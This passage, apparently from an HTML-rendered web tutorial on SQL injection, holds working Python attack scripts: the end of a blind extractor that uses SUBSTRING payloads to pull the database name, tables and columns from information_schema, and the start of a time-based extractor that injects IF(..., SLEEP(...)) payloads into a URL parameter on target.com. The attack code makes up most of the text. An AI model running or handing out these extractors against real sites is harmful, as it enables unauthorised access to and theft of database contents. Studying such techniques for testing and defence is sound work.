-&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;Extract a string value one character at a time.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; pos &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, max_len &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; CHARS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;SUBSTRING&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(({query}),{pos},&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;{ch}&amp;#x26;#x27;&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(ch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;flush&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;                break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; found:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        break&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # End of string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;__main__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Extracting database name&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    db &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; database&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Database: {db}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Extracting first table name&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    table &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; table_name &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; information_schema.tables &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt; table_schema&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;{db}&amp;#x26;#x27; LIMIT 1&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] First table: {table}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Extracting columns&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    cols &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; GROUP_CONCAT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(column_name) &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; information_schema.columns &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt; table_name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#x27;{table}&amp;#x26;#x27;&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;[&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;] Columns: {cols}&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;time-based-exploitation-manual&quot;&gt;Time-Based Exploitation (Manual)&lt;/h2&gt;
&lt;p&gt;When there is no visual difference in the response, use time delays as a channel of information.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# time_based_sqli.py — Time-based extractor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;http:&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;target.com&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;id&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;DELAY&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;      # seconds to sleep if TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;THRESHOLD&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2.5&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # detection threshold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;CHARS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.ascii_lowercase &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.digits &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;_&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-@&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;Returns &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; the response took longer than &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;THRESHOLD&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    full &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; AND&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; IF&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(({payload}), &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;SLEEP&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;({&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;DELAY&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}), &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#FFFFFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    params &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: full}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    start &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        requests.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;params, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;DELAY&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
